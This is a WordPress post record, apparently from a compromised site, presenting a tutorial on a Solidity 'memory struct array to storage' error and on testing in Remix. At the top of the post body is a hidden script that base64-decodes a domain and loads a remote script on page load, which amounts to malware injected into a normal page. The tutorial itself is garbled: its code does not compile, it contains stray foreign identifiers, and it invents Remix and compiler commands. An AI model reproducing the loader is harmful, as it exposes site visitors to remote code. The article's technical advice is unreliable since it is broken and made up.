{"id":10241,"date":"2025-02-13T09:54:50","date_gmt":"2025-02-13T09:54:50","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=10241"},"modified":"2025-02-13T09:54:50","modified_gmt":"2025-02-13T09:54:50","slug":"ethereum-array-of-structs-problem-and-how-to-test-in-remix-copying-of-type-struct-arraytest-swapdatastruct-memory-memory-to-storage-not-yet-supported","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=10241","title":{"rendered":"Ethereum: Array of Structs problem and how to test in Remix &#8211; Copying of type struct ArrayTest.swapDataStruct memory[] memory to storage not yet supported"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=e4e0d2f6\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here&#8217;s an article that explains this problem and provides recommendations for testing a Solidity contract using Remix:<\/p>\n<p><strong>Error understanding: <code>ArrayTest.swapDataStruct memory[] copying to storage not yet supported'<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: Array of Structs problem and how to test in Remix - Copying of type struct ArrayTest.swapDataStruct memory[] memory to storage not yet supported\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/d9654839.png\"><\/p>\n<p>When you try to assign an array of structures (<\/code>ArrayTest.swapDataStruct<code>) to a variable in your contract (for example,<\/code>memory[]<code>) you run into a problem. The error message indicates that the compiler cannot copy this array to the underlying storage (i.e. the Ethereum blockchain).<\/p>\n<p>This problem arises because Solidity, like other programming languages, has a strict type checking mechanism. When you declare an array of structs (<\/code>memory[] ArrayTest.swapDataStruct;<code>), it essentially tries to assign the value to memory location 0x00. However, in many Solidity contracts, memory areas are not allocated until the<\/code>swapDataStruct<code>function is called.<\/p>\n<p><strong>Testing with Remix<\/strong><\/p>\n<p>To test your contract with Remix, you need to create a test instance of the contract and call its functions from a test script. Here's an example of how you can change your contract to solve this problem:<\/p>\n<p><\/code><code>durability<\/p>\n<p>pragma solidity ^0.8.0;<\/p>\n<p>import \"<\/p>\n<p>contract ArrayTest {<\/p>\n<p>\/\/ ... existing code ...<\/p>\n<p>function swapDataStruct() public {<\/p>\n<p>memory[] array memory = new Memory[1];<\/p>\n<p>swapDataStruct(array);<\/p>\n<p>}<\/p>\n<p>function swapDataStruct(memory[] \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0430\u043c\u044f\u0442\u044b) internal {<\/p>\n<p>for (uint256 i = 0; i < data.length; i++) {<\/p>\n<p>data[i] = 10;<\/p>\n<p>}<\/p>\n<p>}<\/p>\n<p><pre><code><\/p><p>In this example, we created a<\/code>swapDataStruct<code>function that takes an integer array (<\/code>memory[]<code>) and assigns a value to each element. We then use the<\/code>ArrayTest.swapDataStruct<code>function to call this new function.<\/p><p><br><strong>Testing with Remix:<\/strong><br><br><p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/Q-wRG7pngn0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p><br><br><\/p><p>To check your contract with Remix:<\/p><p><ul><li>Create a new Solidity project in Remix.<\/li><\/ul><\/p><p><ul><li>Import the<\/code>ArrayTest<code>contract and create a new instance of the contract (<\/code>ArrayTest<code>.sol<\/code>).<\/li><\/ul><\/p><p><ul><li>Compile the contract (for example, use the command <code>solidity-coverage compile --minify --nohex ArrayTest.sol<\/code>).<\/li><\/ul><\/p><p><ul><li>Run the contract using <code>remix run --network mainnet<\/code>.<\/li><\/ul><\/p><p>Now you can call the contract functions from the test script, for example like this:<\/p><p><\/code><\/pre>\n<p>javascript<\/p>\n<p>const {init} = require('.\/ArrayTest');<\/p>\n<p>module.exports = {<\/p>\n<p>async test() {<\/p>\n<p>constant instance = await init();<\/p>\n<p>console.log(instance.swapDataStruct()); \/\/ prints [10]<\/p>\n<p>}<\/p>\n<p>};<\/p>\n<p>````<\/p>\n<p>By following these steps and using Remix to compile and execute your Solidity contract, you can successfully assign an array of structures to a variable in your contract and access its contents.<\/p>\n<p><a href=\"https:\/\/alharaesfiharia.com\/bitcoin-possible-to-install-tailscale-on-a-bitaxe\/\">bitcoin possible install tailscale<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here&#8217;s an article that explains this problem and provides recommendations for testing a Solidity contract using Remix: Error understanding: ArrayTest.swapDataStruct memory[] copying to storage not yet<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-10241","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10241","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10241"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10241\/revisions"}],"predecessor-version":[{"id":10242,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10241\/revisions\/10242"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10241"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10241"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10241"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}